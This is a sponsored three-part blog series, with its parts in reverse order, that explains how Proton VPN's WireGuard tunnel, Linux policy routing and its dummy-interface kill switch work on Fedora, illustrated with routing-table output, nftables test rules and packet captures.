But there’s one question we left unanswered.

What happens if the VPN connection suddenly goes down?

Under normal circumstances, Linux can reach the internet through our physical network interface. If the VPN tunnel disappears, what’s stopping Linux from simply using that interface again and sending our traffic outside the VPN?

That’s the problem a VPN kill switch is designed to solve.

In this final part of our Networking in Linux series, we’re going to investigate how Proton VPN’s Standard Kill Switch works under the hood.

We’ll look at what happens when the VPN server becomes unreachable, when the tunnel interface disappears unexpectedly, and when we deliberately disconnect from the VPN.

Along the way, we’ll examine a few Linux routing tables and network interfaces to understand how the kill switch prevents our internet traffic from falling back to the physical network.

Let’s get started.

The Kill Switch Interface

We’re using Proton VPN on Fedora Linux, with the Standard Kill Switch enabled. If you haven’t installed Proton VPN yet, you can download it here.

Let’s start by looking at the network interfaces on our machine.

$ ip -br addr
enp2s0        UP       172.16.1.14/24
wlp3s0        UP       192.168.8.53/24
proton0       UNKNOWN  10.2.0.2/32
pvpnksintrf0  UNKNOWN  100.85.0.1/24

We already know proton0 from our previous articles. It’s the WireGuard tunnel interface through which our VPN traffic travels.

But there’s another interface here: pvpnksintrf0.

This is a dummy interface created by Proton VPN’s kill switch. Unlike our Ethernet interface or WireGuard tunnel, it doesn’t provide a path to another network. It’s effectively a dead end for packets routed through it.

Why would we want that?

Let’s look at our routing table.

$ ip route
default via 100.85.0.1 dev pvpnksintrf0 metric 98
default via 172.16.1.1 dev enp2s0 metric 100
default via 192.168.8.1 dev wlp3s0 metric 600

Notice something interesting.

Our Ethernet and Wi-Fi connections both have valid default routes to the internet. But Proton VPN has installed another default route through pvpnksintrf0, with a metric of 98.

Linux prefers the default route with the lowest metric, so this dummy route takes priority over Ethernet (100) and Wi-Fi (600).

Does that mean our internet traffic is being discarded even while the VPN is connected?

Not quite.

As we explored in the first article, Proton VPN also uses policy routing to direct ordinary internet traffic through proton0. That routing decision happens before the system falls back to the default route through our dummy interface.

We can confirm this:

$ ip route get 1.1.1.1
1.1.1.1 dev proton0 table 245447468 src 10.2.0.2

Our packet is still going through the VPN tunnel.

The dummy interface is there as a safety net. If the VPN tunnel disappears and its policy routes are removed, the preferred default route still points to pvpnksintrf0 rather than our physical network.

Instead of sending ordinary internet traffic directly through Ethernet, Linux sends it into a dead end.

That’s the basic idea behind the Standard Kill Switch on our Linux system.

A quick word From our Sponsor

This article is made possible by Proton VPN.

Proton VPN has apps for Linux, Windows, macOS, Android, iOS, and more, plus a Linux CLI for those who prefer the terminal. Its apps are open source and independently audited, and it supports multiple VPN protocols, including WireGuard, OpenVPN, and its own Stealth protocol.

Proton has also provided an exclusive discount for SYSXPLORE readers:65% off the 2-year VPN Plus plan or 55% off the 1-year VPN Plus plan when you sign up through the link below.

Try Proton VPN

If the link doesn’t open, your ad blocker may be blocking it. Temporarily disable it and try again.

Now, let’s see what happens when things start going wrong.

What Happens When the VPN Server Becomes Unreachable?

Let’s start with a common failure scenario.

Our VPN is connected, everything is working normally, and then the VPN server suddenly stops responding.

You might expect Linux to notice the connection failure, abandon the tunnel, and start sending traffic through Ethernet.

But that’s not what happens.

To simulate this, we can temporarily block outgoing WireGuard traffic to our VPN server using an nftables rule.

sudo nft add table inet vpn_test
sudo nft 'add chain inet vpn_test output { type filter hook output priority 0; policy accept; }'
sudo nft add rule inet vpn_test output ip daddr 31.13.189.226 udp dport 443 drop

This prevents our machine from reaching the VPN server (31.13.189.226) over its WireGuard transport connection, without deliberately disconnecting the VPN.

Now, here’s the interesting part.

Even though the server is unreachable, the proton0 interface remains available, and Linux continues routing ordinary internet traffic through it.

$ ip route get 1.1.1.1
1.1.1.1 dev proton0 table 245447468 src 10.2.0.2

From Linux’s perspective, the route still exists. WireGuard continues accepting packets, encrypting them, and attempting to send them through the tunnel.

But because communication with the server is blocked, those packets cannot reach their destination.

The result? Our internet connection stops working.

Importantly, Linux doesn’t automatically switch to the Ethernet default route simply because the VPN server isn’t responding.

And that’s an important distinction: a VPN server becoming unreachable isn’t the same thing as the VPN interface disappearing.

In this scenario, the tunnel remains configured, so our traffic continues to follow the VPN route, even though the connection is effectively broken.

But what happens if the VPN connection itself is deactivated and its routes disappear?

That’s where our dummy interface becomes particularly useful.

When the VPN Connection Disappears

Now let’s take things a step further.

Instead of making the VPN server unreachable, what happens if the VPN connection itself is deactivated?

To find out, we can use NetworkManager to bring down the WireGuard connection without issuing a normal disconnect command through Proton VPN.

sudo nmcli connection down proton0

This removes the active VPN connection, including the routing rules that previously directed our internet traffic through proton0.

Under normal circumstances, Linux would fall back to another available default route, such as the one through enp2s0.

But remember the dummy interface we discovered earlier?

Let’s see where Linux sends our traffic now.

$ ip route get 1.1.1.1
1.1.1.1 via 100.85.0.1 dev pvpnksintrf0

There it is.

With the VPN routing rules gone, Linux consults its main routing table. And because the dummy interface has a lower default-route metric than Ethernet or Wi-Fi, it becomes the preferred path.

But pvpnksintrf0 doesn’t actually forward packets anywhere.

So what happens to the traffic?

Any ordinary internet traffic that would otherwise fall back to Ethernet or Wi-Fi is instead directed to pvpnksintrf0, where it gets dropped.

The same fallback protection applies to IPv6 traffic.

In other words, Linux still has working physical network connections and valid gateways, but ordinary internet traffic is being directed into an interface that can’t deliver it.

That’s the kill switch doing its job.

And notice that we don’t need to block every destination with individual firewall rules. In this implementation, Proton VPN uses Linux’s existing routing mechanisms to prevent ordinary internet traffic from falling back to the physical network.

As long as that dummy default route remains in place, losing the VPN tunnel doesn’t automatically mean losing the protection.

But what if the WireGuard interface itself is deleted?

Let’s find out.

What Happens If the VPN Interface Is Deleted?

So far, we’ve seen what happens when the VPN server becomes unreachable and when the VPN connection is deactivated.

But let’s try something different.

What if the WireGuard interface itself suddenly disappears?

We can simulate this by deleting proton0 directly:

sudo ip link delete proton0

Unlike the previous scenario, we’re not asking NetworkManager to deactivate the VPN connection. We’re removing the network interface underneath it.

You might expect the VPN to remain broken until we manually reconnect.

But something interesting happens.

NetworkManager detects that the interface has disappeared and automatically recreates proton0.

During that brief interruption, traffic that would otherwise fall back to our physical network is directed to the dummy interface, where it gets dropped.

Here’s how it works:

1. The proton0 interface disappears.

2. Traffic temporarily loses its route through the VPN tunnel.

3. The dummy interface catches packets during the interruption.

4. NetworkManager recreates proton0, restoring the VPN route.

The important part isn’t how quickly NetworkManager recreates the interface.

It’s what happens between the interface disappearing and coming back.

Our ordinary internet traffic doesn’t fall back to Ethernet. The dummy route provides a dead end while the VPN connection is being restored.

This is exactly the kind of unexpected interruption a kill switch is designed to handle.

But there’s one final scenario we haven’t explored.

What happens when we intentionally disconnect from Proton VPN?

Does the kill switch continue blocking our internet connection?

What Happens When We Disconnect Intentionally?

There’s one important distinction we need to make.

So far, we’ve been looking at unexpected VPN connection failures.

But what happens when we disconnect normally?

Let’s try it using Proton VPN’s CLI.

protonvpn disconnect

This time, the behavior is different.

Proton VPN removes the WireGuard connection and the dummy interface used by its Standard Kill Switch.

With proton0 and pvpnksintrf0 gone, Linux can once again use the default route through our physical network interface.

$ ip route get 1.1.1.1
1.1.1.1 via 172.16.1.1 dev enp2s0

Our normal internet connectivity is restored.

And that’s intentional.

Proton VPN’s Standard Kill Switch is designed to prevent accidental exposure when the VPN connection fails unexpectedly. It isn’t meant to keep your internet connection blocked after you’ve deliberately disconnected from the VPN.

Proton VPN also offers an Advanced Kill Switch, which can continue blocking internet access even when the VPN is manually disconnected. That provides a different level of protection, but it’s beyond the scope of this guide.

And with that, we’ve seen how the Standard Kill Switch behaves across several different scenarios: a healthy VPN connection, an unreachable server, a deactivated tunnel, a deleted interface, and finally, an intentional disconnect.

Putting It All Together

So, what have we learned?

A VPN kill switch doesn’t necessarily need to inspect every packet or block traffic using firewall rules.

As we’ve seen with Proton VPN’s Standard Kill Switch on Linux, routing alone can provide an effective way to prevent ordinary internet traffic from escaping when the VPN connection fails.

When the VPN is connected, policy routing directs our traffic through proton0. If the VPN server becomes unreachable, that traffic continues following the tunnel route rather than automatically switching to Ethernet.

And if the VPN connection disappears entirely, the dummy interface pvpnksintrf0 provides a fallback route that leads nowhere.

That’s the clever part.

Instead of removing our physical internet connection, the kill switch changes where Linux tries to send our traffic.

Our Ethernet and Wi-Fi interfaces can remain connected, and their gateways can still be reachable. But ordinary internet traffic won’t simply fall back to those interfaces when the VPN fails.

And when we intentionally disconnect, Proton VPN removes the Standard Kill Switch and restores normal routing.

Of course, this doesn’t mean every VPN implements its kill switch in exactly the same way. Some rely on firewall rules, while others use routing mechanisms or a combination of both.

But the underlying goal remains the same: prevent traffic that should travel through the VPN from accidentally leaving through an unprotected connection.

And that brings us to the end of our three-part VPNs In Linux series.

We started by exploring how VPN tunnels work, followed a packet through the tunnel to understand encapsulation and encryption, and finally investigated what happens when that tunnel fails.

Hopefully, the next time you connect to a VPN, you’ll have a much clearer picture of what’s happening underneath.

Thanks for reading, and keep exploring!

Subscribe now

Linux had made its routing decision:

1.1.1.1 dev proton0 table 245447468 src 10.2.0.2

This time, we’re going to continue from there.

We’ll follow that traffic through the WireGuard tunnel and examine what happens along the way. We’ll look at encryption and encapsulation, break apart the inner and outer IP packets, and capture traffic on both proton0 and our physical enp2s0 interface to see what each side of the tunnel actually looks like.

We’ll also finally come back to these two rules:

31618:  from all lookup main suppress_prefixlength 0
31619:  not from all fwmark 0xea13b2c lookup 245447468

We deliberately left them partially unexplained before because their purpose becomes much clearer once we can see the packet that WireGuard creates.

So let’s continue our investigation and see what happens after a packet enters proton0.

Looking Inside proton0

We know Linux has selected proton0 for our packet. So let’s take a closer look at what is actually behind this interface.

Since proton0 is a WireGuard interface, we can inspect it using:

$ sudo wg show

On my machine, this gives us:

interface: proton0
  public key:[redacted]
  private key: (hidden)
  listening port: 38001
  fwmark: 0xea13b2c

peer:[redacted]
  endpoint: 62.93.176.129:443
  allowed ips: 0.0.0.0/0, ::/0
  latest handshake: 18 seconds ago
  transfer: 2.22 GiB received, 172.72 MiB sent

There are a few interesting things here.

First, we can see that proton0 is indeed being handled by WireGuard.

We also have a peer, and that peer has an endpoint:

endpoint: 62.93.176.129:443

That gives us something we didn’t have before: an actual IP address on the physical Internet that WireGuard is communicating with.

We can also see the same fwmark that appeared in our policy-routing rules:

fwmark: 0xea13b2c

Remember this value. We’re going to come back to it shortly.

For now, though, the endpoint gives us a more immediate question.

Our original packet is destined for 1.1.1.1, but WireGuard is communicating with 62.93.176.129.

So why are there suddenly two different destinations involved?

To answer that, we need to look at the packet that enters the tunnel.

A quick word From our Sponsor

This article is made possible by Proton VPN.

Proton VPN has apps for Linux, Windows, macOS, Android, iOS, and more, plus a Linux CLI for those who prefer the terminal. Its apps are open source and independently audited, and it supports multiple VPN protocols, including WireGuard, OpenVPN, and its own Stealth protocol.

Proton has also provided an exclusive discount for SYSXPLORE readers:65% off the 2-year VPN Plus plan or 55% off the 1-year VPN Plus plan when you sign up through the link below.

Try Proton VPN

If the link doesn’t open, your ad blocker may be blocking it. Temporarily disable it and try again.

Now, back to where we left off.

The Packet That Enters the Tunnel

Let’s start with the packet Linux is sending into proton0.

From our earlier route lookup, Linux told us:

1.1.1.1 dev proton0 table 245447468 src 10.2.0.2

So, focusing only on the IP header for now, our packet has these two important addresses:

Source:      10.2.0.2
Destination: 1.1.1.1

This is the packet our application ultimately wants to send.

At this point, 1.1.1.1 is still the destination. Connecting to the VPN hasn’t changed where the traffic is trying to go. What has changed is the path Linux uses to get it there.

We can visualize the packet entering proton0 like this:

We’ll refer to this as the inner packet.

That word will become important shortly because this packet isn’t what our physical enp2s0 interface is ultimately going to transmit across the network.

WireGuard first has some work to do.

And that’s where the second destination we discovered earlier comes into the picture:

62.93.176.129

To understand why, we need to look at encryption and encapsulation.

Encryption and Encapsulation

When our packet enters proton0, WireGuard needs to transport it to the VPN peer we discovered earlier:

endpoint: 62.93.176.129:443

But the original packet is still:

Source:      10.2.0.2
Destination: 1.1.1.1

WireGuard handles this through two important processes: encryption and encapsulation.

First, WireGuard encrypts the original IP packet. This protects the contents of the packet, including its original IP header, so that it cannot simply be inspected while travelling across the network between our machine and the VPN endpoint.

But encryption alone doesn’t give the encrypted data a path across the Internet.

The physical network underneath the VPN still needs an IP packet it can actually route toward the WireGuard peer.

This is where encapsulation comes in.

WireGuard carries the encrypted data inside a new UDP packet, which is then carried inside a new IP packet. That new IP header contains addresses that belong to the physical network path.

For our connection, we now have something conceptually like this:

NOTE: The inner packet is shown inside the encrypted WireGuard data so we can understand what is being carried. On the physical network, that original packet isn’t sitting there in readable form inside the outer packet. It is protected by WireGuard encryption.

Now the two destinations we saw earlier start to make sense.

1.1.1.1 is the destination of the inner packet. It is where our original traffic is ultimately intended to go.

62.93.176.129 is the destination of the outer packet. It is the WireGuard endpoint that the encrypted VPN traffic needs to reach across the physical network.

In other words, we now have two network paths to think about:

Overlay:

10.2.0.2 → 1.1.1.1

Underlay:

172.16.1.17 → 62.93.176.129

And that creates another interesting routing problem.

We already know ordinary Internet traffic destined for 1.1.1.1 gets sent into proton0.

But the outer packet destined for 62.93.176.129 needs to leave through our physical network so that it can actually reach the Proton VPN server.

So what stops Linux from sending that packet straight back into proton0 too?

Solving the Routing Recursion Problem

We ended the previous section with an interesting problem.

The outer WireGuard packet needs to reach:

62.93.176.129

At this point, you might expect Linux to route that address through our physical enp2s0 interface. After all, 62.93.176.129 is the WireGuard endpoint on the physical Internet, and the VPN tunnel depends on our underlay to reach it.

That’s what I expected too.

But let’s ask Linux instead of assuming:

$ ip route get 62.93.176.129

Here’s what we get:

62.93.176.129 dev proton0 table 245447468 src 10.2.0.2 uid 1000
    cache

Interesting.

Linux selects proton0.

But that’s a problem.

62.93.176.129 is the WireGuard endpoint that the tunnel itself needs to reach. If WireGuard’s outer packet were treated like our ordinary Internet traffic, Linux would send it straight back into the same tunnel:

We would end up with a recursive routing loop. The packet that is supposed to carry our VPN traffic to the WireGuard endpoint would itself be routed back into the VPN, producing another outer packet that would again need to be routed, and so on.

Our VPN traffic would never make it out through the physical network to reach the WireGuard endpoint.

The tunnel needs a way out.

And this is where that fwmark we’ve been deliberately ignoring finally becomes important.

Earlier, wg show gave us:

interface: proton0
  listening port: 38001
  fwmark: 0xea13b2c

And our policy-routing rules contain that exact same value:

31618:  from all lookup main suppress_prefixlength 0
31619:  not from all fwmark 0xea13b2c lookup 245447468

WireGuard marks its own transport packets with 0xea13b2c.

We can ask Linux to perform the same route lookup again, but this time include that mark:

$ ip route get 62.93.176.129 mark 0xea13b2c

Now look at what happens:

62.93.176.129 via 172.16.1.1 dev enp2s0 src 172.16.1.17 mark 0xea13b2c uid 1000
    cache

There it is.

Instead of sending the packet into proton0, Linux selects our physical Ethernet interface, enp2s0, and sends the packet toward our physical default gateway at 172.16.1.1.

The reason becomes clearer when we read this rule carefully:

31619:  not from all fwmark 0xea13b2c lookup 245447468

Traffic that does not carry the mark 0xea13b2c can use routing table 245447468, whose default route points into proton0.

WireGuard’s own transport traffic carries that mark, so it does not match this rule. It avoids being sent straight back into the VPN routing table.

That solves one half of the puzzle.

But there’s still another strange-looking rule sitting directly above it:

31618:  from all lookup main suppress_prefixlength 0

What exactly is suppress_prefixlength 0 doing, and why do we need it?

What Does suppress_prefixlength 0 Do?

Let’s bring the two policy-routing rules back one more time:

31618:  from all lookup main suppress_prefixlength 0
31619:  not from all fwmark 0xea13b2c lookup 245447468

We’ve figured out what the second rule is doing.

But Linux evaluates policy-routing rules in priority order, and 31618 comes first:

31618:  from all lookup main suppress_prefixlength 0

At first glance, this is a little confusing.

The rule tells Linux to look in the main routing table, which still contains our normal default route:

default via 172.16.1.1 dev enp2s0

If Linux simply used that default route for ordinary Internet traffic, it would never continue to the next rule and our traffic wouldn’t be sent through proton0.

That’s where:

suppress_prefixlength 0

comes in.

A prefix length of 0 refers to a default route:

0.0.0.0/0

With suppress_prefixlength 0, routes with a prefix length of 0 are suppressed from the result of this lookup.

In other words, Linux can consult the main table, but the default route isn’t allowed to satisfy this particular rule.

More-specific routes can still be used.

For example, our directly connected network:

172.16.1.0/24 dev enp2s0

is more specific than /0, so it isn’t suppressed.

That distinction is important.

The rule doesn’t simply tell Linux to ignore the entire main table. It lets Linux use more-specific routes from main while preventing its ordinary default route from taking over traffic that should continue through the VPN policy.

For a remote Internet destination such as 1.1.1.1, the lookup in main would otherwise fall back to:

default via 172.16.1.1 dev enp2s0

But that /0 route is suppressed, so Linux continues evaluating the policy-routing rules.

It can then reach:

31619:  not from all fwmark 0xea13b2c lookup 245447468

For ordinary, unmarked traffic, that rule directs the lookup to table 245447468, where we already found:

default dev proton0

Put the two rules together and the behavior starts to make sense.

Ordinary Internet traffic can continue past the suppressed physical default route and reach the VPN routing table.

WireGuard’s own transport traffic carries 0xea13b2c, so it doesn’t match the rule that would send it back into proton0. Since it doesn’t match any of the preceding rules, the lookup can continue down the rule set until it reaches the normal main table lookup, where the physical default route sends the packet through enp2s0.

That’s how Linux can maintain both paths at the same time: one for the traffic inside the VPN, and another for the VPN traffic that actually carries it across the physical network. The below diagram sum it all:

Watching the Packet on proton0

We’ve spent quite a bit of time reasoning about what should happen to our packet.

Now let’s actually watch it.

We’ll start on proton0, the interface Linux selected for our traffic to 1.1.1.1.

In one terminal, I started a packet capture and filtered specifically for ICMP traffic:

$ sudo tcpdump -ni proton0 icmp

Then, from another terminal, I sent four ICMP echo requests to 1.1.1.1:

$ ping -c 4 1.1.1.1

Here’s what appeared on proton0:

18:26:10.635453 IP 10.2.0.2 > 1.1.1.1: ICMP echo request, id 41858, seq 1, length 64
18:26:10.903398 IP 1.1.1.1 > 10.2.0.2: ICMP echo reply, id 41858, seq 1, length 64

18:26:11.636282 IP 10.2.0.2 > 1.1.1.1: ICMP echo request, id 41858, seq 2, length 64
18:26:11.902512 IP 1.1.1.1 > 10.2.0.2: ICMP echo reply, id 41858, seq 2, length 64

There it is.

The packet we have been following throughout this article is visible directly on proton0:

10.2.0.2 → 1.1.1.1

And the replies travel in the opposite direction:

1.1.1.1 → 10.2.0.2

Notice what we can see here.

We can see the original destination, 1.1.1.1.

We can see the VPN-assigned source address, 10.2.0.2.

We can even see that the traffic is ICMP and that these are echo requests and replies.

In other words, on proton0, we’re looking at the inner packet.

This is the packet before WireGuard carries it across the physical network.

But according to the model we built earlier, this isn’t what enp2s0 should see.

By the time the traffic reaches our physical interface, the inner packet should be protected inside WireGuard traffic destined for:

62.93.176.129

So let’s move our packet capture from the overlay to the underlay and see if that’s actually what happens.

Watching the Packet on enp2s0

Now let’s move our capture from the VPN interface to the physical interface underneath it.

Earlier, when we captured traffic on proton0, we could clearly see our original packet:

10.2.0.2 > 1.1.1.1: ICMP echo request

We could identify the source and destination addresses, the protocol, and even see that the packet was an ICMP echo request.

This time, we’ll capture the traffic leaving through our physical enp2s0 interface.

From wg show, we already know that our WireGuard endpoint is 62.93.176.129:443, so we can narrow the capture to UDP traffic involving that endpoint:

$ sudo tcpdump -nni enp2s0 'host 62.93.176.129 and udp port 443' -w /tmp/enp2s0.pcap

The -w option writes the captured packets directly to /tmp/enp2s0.pcap rather than displaying them in the terminal. This gives us a capture file that we can open in Wireshark and inspect in more detail.

And when we do that, we get a very different view from what we saw on proton0.

Instead of seeing 10.2.0.2 communicating with 1.1.1.1, Wireshark shows traffic between our physical IP address and the WireGuard endpoint:

Source:      172.16.1.17
Destination: 62.93.176.129
Protocol:    WireGuard

If we expand one of those packets, we can see exactly how the outer packet is constructed:

That’s the packet structure we drew earlier, now visible in an actual packet capture.

And there’s something else worth noticing.

From this side of the tunnel, we can’t tell which type of traffic is being carried inside each WireGuard packet.

Our capture contains thousands of WireGuard packets going back and forth between the same two addresses. They all appear as WireGuard transport traffic on the physical interface.

We can’t look at one of these packets and determine from the encrypted payload whether it contains an ICMP echo request, a TCP segment from a web connection, a DNS query, or some other traffic.

We also can’t see the original destination 1.1.1.1 in the outer IP header.

Those details belong to the inner packet, and that packet is now protected inside WireGuard’s encrypted transport data.

And now we have actually observed both sides of the tunnel.

On the virtual interface, we see the inner packet.

On the physical interface, we see the outer WireGuard packet carrying encrypted data.

That also tells us something important about what the network between us and the Proton VPN server can see.

What Can the ISP Actually See?

Our capture on enp2s0 also helps answer an important question:

What can the ISP actually see?

The VPN connection itself isn’t invisible. As the WireGuard traffic crosses the Internet, the ISP can still see that our public IP address is communicating with a VPN endpoint. It can also observe metadata such as packet sizes, timing, direction, and the amount of traffic being exchanged.

What it can’t directly inspect is the protected inner traffic.

In our capture on proton0, we could see the original destination 1.1.1.1 and identify the traffic as ICMP. Once that packet was encrypted and carried by WireGuard across the physical network, those details were no longer visible in the outer packet.

So a VPN doesn’t make your traffic invisible to your ISP. It changes what your ISP can see.

The ISP can see the encrypted VPN connection and its associated metadata, but it can’t directly read the protected inner packets being carried through the tunnel.

Now our encrypted packet has made it across the underlay to the Proton VPN server.

What happens when it gets there?

What Happens When the Packet Reaches the Proton VPN Server?

Our outer packet has now travelled across the physical network and reached the WireGuard endpoint at 62.93.176.129.

At the other end of the tunnel, the process we observed on our machine happens in reverse.

WireGuard processes the incoming transport packet, authenticates and decrypts it, and removes the outer UDP/IP encapsulation. What remains is the inner packet that entered proton0 earlier:

Source:      10.2.0.2
Destination: 1.1.1.1

But 10.2.0.2 is an internal VPN address. It isn’t the address that 1.1.1.1 will ultimately see.

Proton’s WireGuard implementation uses double NAT to handle this. Proton documents this as a two-stage process: the first NAT translates 10.2.0.2 to a random but unique internal IP address assigned to the VPN session. The second NAT then translates that session address to the VPN server’s public IP address before the traffic is sent toward its destination.

Conceptually:

In our connection, we’ve actually encountered two different public Proton IP addresses that serve different purposes.

The first is:

62.93.176.129

This is the WireGuard endpoint. It’s the public address our machine sends the encrypted WireGuard transport traffic to.

The Proton CLI also gave us:

159.26.101.55

This is the public VPN address for our connection. It’s the address presented to destinations on the Internet after our traffic leaves Proton’s VPN infrastructure.

So these addresses shouldn’t be confused:

10.2.0.2        → address inside our VPN tunnel
62.93.176.129   → public WireGuard endpoint
159.26.101.55   → public VPN/exit address

The original destination is still 1.1.1.1. What changes before the packet is sent onward is its source address.

Putting everything together conceptually:

The packet can now continue toward 1.1.1.1, but as far as the destination is concerned, the connection is coming from Proton’s public VPN address rather than our original Internet connection.

And once 1.1.1.1 replies, the entire journey has to happen again in reverse.

Wrapping Up

We started with a simple question: what actually happens after Linux sends a packet into proton0?

By following that packet, we saw how WireGuard creates an encrypted path across the physical network underneath it, why Linux needs separate routing behavior for the inner and outer traffic, and what changes as the packet moves from our machine to the Proton VPN server.

More importantly, we didn’t just describe the tunnel. We watched it happen using Linux’s routing tables, policy rules, WireGuard state, and packet captures.

But everything we’ve seen depends on that tunnel remaining available.

What happens if the VPN suddenly goes down?

That’s what we’ll investigate next when we look at how VPN kill switches actually work in Linux.

Until then, keep exploring and subscribe to get notified when new guides are published.

Subscribe now

When an application wants to communicate with another host, the kernel looks at the available routing information, determines the best path to the destination, and sends the packet through the appropriate network interface.

For a typical Linux machine connected to a local network, that path might look something like this:

But what happens to this path when you connect to a VPN?

Suddenly, there is another interface in the picture. The routing configuration changes. Traffic that previously left your machine through eth0 or wlan0 is now being directed through a VPN tunnel, yet somehow those packets still have to leave through the physical network interface to reach the VPN server.

So what exactly is happening behind the scenes?

That is what we are going to explore in this article.

Rather than spending much time on what a VPN is or why you might use one, we are going to look at it from a networking perspective. We’ll inspect the interfaces, routing tables, and policy-routing rules before and after connecting to a VPN and see exactly how the path Linux chooses for our Internet traffic changes.

This article is sponsored by Proton VPN, and throughout the article I will be using Proton VPN on Linux as our real-world implementation while we investigate what is happening underneath.

Before we connect to it, though, we need a baseline.

Let’s see what our network looks like without a VPN.

Before We Connect the VPN

Before connecting to Proton VPN, let’s establish what our network currently looks like.

We already know from our previous discussion on Linux routing that when an application sends traffic to a remote destination, the Linux kernel needs to determine where that traffic should go. It does this using the routing information available on the system.

Right now, there is no VPN involved, so let’s first look at the interfaces available on our machine:

$ ip -c addr

The output is quite long, so I’ve trimmed it down to the parts we’re interested in:

2: enp2s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
    link/ether c8:53:09:8c:57:a9 brd ff:ff:ff:ff:ff:ff
    inet 172.16.1.17/24 brd 172.16.1.255 scope global dynamic noprefixroute enp2s0

3: wlp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
    link/ether 7e:01:79:88:e9:4a brd ff:ff:ff:ff:ff:ff
    inet 192.168.8.53/24 brd 192.168.8.255 scope global dynamic noprefixroute wlp3s0

There are two active network interfaces on this machine.

enp2s0 is our Ethernet interface and has been assigned 172.16.1.17/24, while wlp3s0 is our wireless interface and has been assigned 192.168.8.53/24.

Both interfaces are up and connected to different networks.

This makes our example a little more interesting because Linux potentially has two ways to reach the Internet.

Let’s look at the routing table:

$ ip route

default via 172.16.1.1 dev enp2s0 proto dhcp src 172.16.1.17 metric 100
default via 192.168.8.1 dev wlp3s0 proto dhcp src 192.168.8.53 metric 600

172.16.1.0/24 dev enp2s0 proto kernel scope link src 172.16.1.17 metric 100
192.168.8.0/24 dev wlp3s0 proto kernel scope link src 192.168.8.53 metric 600

Notice that we don’t have just one default route. We have two:

default via 172.16.1.1 dev enp2s0 metric 100
default via 192.168.8.1 dev wlp3s0 metric 600

Both match destinations for which Linux doesn’t have a more specific route, but the kernel still needs to choose between them.

Since these routes have the same prefix length, their metrics help determine which one is preferred. A lower metric represents the preferred route.

In our case:

So we expect Linux to prefer enp2s0 when sending ordinary Internet traffic.

If you want a deeper explanation of how Linux evaluates routes, route specificity, metrics, routing tables and policy-based routing, I covered those in Networking in Linux: Routing Deep Dive.

For now, we don’t have to rely on our interpretation of the routing table. We can simply ask the kernel which route it would use to reach a specific destination:

$ ip route get 1.1.1.1

And sure enough:

1.1.1.1 via 172.16.1.1 dev enp2s0 src 172.16.1.17 uid 1000
    cache

Linux has selected the Ethernet path:

The destination is 1.1.1.1, the next hop is 172.16.1.1, the packet will leave through enp2s0, and Linux has selected 172.16.1.17 as the source address for this route.

So before connecting the VPN, our packet path looks roughly like this:

At the IP layer, a packet destined for 1.1.1.1 would therefore look something like this:

NOTE:This is intentionally simplified. There is more involved when the packet is actually transmitted, including Ethernet frame headers, the FCS, and other details. For now, we’re focusing only on the IP-layer information relevant to our investigation.

There is one more thing we want to record before connecting the VPN: the policy routing rules.

$ ip rule

Our system currently has:

0:      from all lookup local
32766:  from all lookup main
32767:  from all lookup default

These are the standard rules telling Linux which routing tables to consult. The numbers on the left are priorities, with lower values evaluated first.

We already covered routing rules and policy-based routing in Networking in Linux: Routing Deep Dive, so we won’t go through them again here. For now, we simply want to record the rules that exist before connecting to the VPN. Later, we’ll run the same command again and see whether anything has changed.

We have two active physical interfaces, two possible default routes, and Linux currently prefers the Ethernet connection. Traffic toward 1.1.1.1 is sent through enp2s0 to 172.16.1.1, using 172.16.1.17 as the source address.

That’s our baseline.

Now let’s connect to Proton VPN and run these commands again.

Things are about to get more interesting.

Connect the VPN: What Changed?

We now have a pretty good picture of how traffic leaves our Linux machine without a VPN. I’m going to connect to a Proton VPN server and then run some of the same commands again.

I’m a huge fan of the command line. If something can be done easily from the terminal, I’ll almost always choose the terminal over a GUI. Well, except for browsing the web and maybe watching a few videos.

So, to connect to Proton VPN, I’ll be using the Proton VPN CLI for Linux.

I’m not going to cover how to install or use the Proton VPN CLI in this article, since that’s not really what we’re here for. But if you’d like to follow along from the terminal, Proton has documentation that walks you through it: Using Proton VPN on Linux with the CLI.

And if you prefer using the Proton VPN GUI, go for it. There’s no right or wrong way to connect here. What we’re interested in is what happens to our Linux networking configuration after that connection is established.

With that out of the way, let’s connect:

$ protonvpn connect --country US

Connected to US-MA#127 in Boston, United States.

Your new IP address is 159.26.101.55.

We’re connected.

Now let’s see what changed.

Let’s start by looking at our network interfaces again:

$ ip -c addr

Our Ethernet and Wi-Fi interfaces are still there with the same addresses, but there are now two interfaces that weren’t present before:

5: proton0: <POINTOPOINT,NOARP,UP,LOWER_UP> mtu 1420 ...
    link/none
    inet 10.2.0.2/32 scope global noprefixroute proton0
    inet6 2a07:b944::2:2/128 scope global noprefixroute

6: ipv6leakintrf0: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 ...
    link/ether 6a:4c:45:3b:bb:6f brd ff:ff:ff:ff:ff:ff
    inet6 fdeb:446c:912d:8da::/64 scope global noprefixroute

Interesting.

Before connecting to Proton VPN, we had:

lo
enp2s0
wlp3s0

Now we have:

lo
enp2s0
wlp3s0
proton0          ← new
ipv6leakintrf0   ← new

proton0 has also been assigned the IPv4 address 10.2.0.2/32, along with an IPv6 address.

The second interface, ipv6leakintrf0, has also appeared. Its name already gives us a pretty good clue about why it exists, but let’s leave that one alone for now. We’ll come back to IPv6 leakage later.

For the moment, proton0 is the interface we’re interested in.

But simply creating a new interface doesn’t automatically mean Linux will start sending Internet traffic through it. The kernel still needs routing information that tells it when to use that interface.

So let’s look at our routing table again:

$ ip route

default via 172.16.1.1 dev enp2s0 proto dhcp src 172.16.1.17 metric 100
default via 192.168.8.1 dev wlp3s0 proto dhcp src 192.168.8.53 metric 600
172.16.1.0/24 dev enp2s0 proto kernel scope link src 172.16.1.17 metric 100
192.168.8.0/24 dev wlp3s0 proto kernel scope link src 192.168.8.53 metric 600

Wait a minute.

That looks exactly like it did before we connected to the VPN.

Our preferred default route is still:

default via 172.16.1.1 dev enp2s0 metric 100

There isn’t even a route through proton0 here.

If we only looked at the main routing table, we might reasonably wonder how our traffic is being sent through the VPN at all.

This is where the routing rules we recorded earlier become important.

Let’s look at them again:

$ ip rule

Before connecting to Proton VPN, we had:

0:      from all lookup local
32766:  from all lookup main
32767:  from all lookup default

After connecting, we have:

0:      from all lookup local
31618:  from all lookup main suppress_prefixlength 0
31619:  not from all fwmark 0xea13b2c lookup 245447468
32766:  from all lookup main
32767:  from all lookup default

